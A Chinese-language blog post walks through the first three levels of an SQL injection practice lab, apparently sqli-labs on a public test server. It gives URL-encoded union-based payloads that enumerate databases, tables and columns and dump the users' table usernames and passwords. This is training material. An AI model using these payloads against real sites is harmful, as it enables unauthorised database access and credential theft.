SQL注入练习

时间:2024-04-07 21:02:07

第一关

题目链接:http://43.247.91.228:84/Less-1

首先进行注入点测试。
SQL注入练习

通过报错我们知道这个是mysql数据库,而且使用单引号闭合,后台语句估计是
Select username from ‘{$id}’;

然后我们使用order by测试数据库当前列数。
SQL注入练习
接下来使用union查询来判断页面可回显的点。
SQL注入练习

我们通过联合查询来查看数据库的名字以及一些信息。
命令:1’ union select 1,database(),version()–+

SQL注入练习

查看当前所有的数据库。
-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata–+

SQL注入练习

查看当前所有的表名:
-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27–+

SQL注入练习

查看当前数据表的所有列名:
-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27–+
SQL注入练习

查看当前数据库的所有账号密码:
http://43.247.91.228:84/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password)from users--+

SQL注入练习

第二关

题目链接:http://43.247.91.228:84/Less-2/

单引号测试注入点,推断当前sql语句为:select username from xxx where id=id
SQL注入练习
判断当前数据表列数
SQL注入练习

判断回显点
SQL注入练习

获取所有数据库名:
SQL注入练习

获取所有表名:
id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–
SQL注入练习

获取所有列名:
id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27–
SQL注入练习
爆库:
1%20union%20select%201,group_concat(username),group_concat(password)%20from%20users-
SQL注入练习

第三关:

题目链接:http://43.247.91.228:84/Less-3/

?id=1%27)%20order%20by%204–+
判断注入点:
SQL注入练习

判断页面回显点:
SQL注入练习

爆出所有的数据库:
-1%27)%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata–+
SQL注入练习

爆表名:
id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20%20where%20table_schema=%27security%27–+
SQL注入练习

爆列名:
-1%27)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20%20where%20table_schema=%27security%27–+

SQL注入练习

暴库:
id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)from%20users–+
SQL注入练习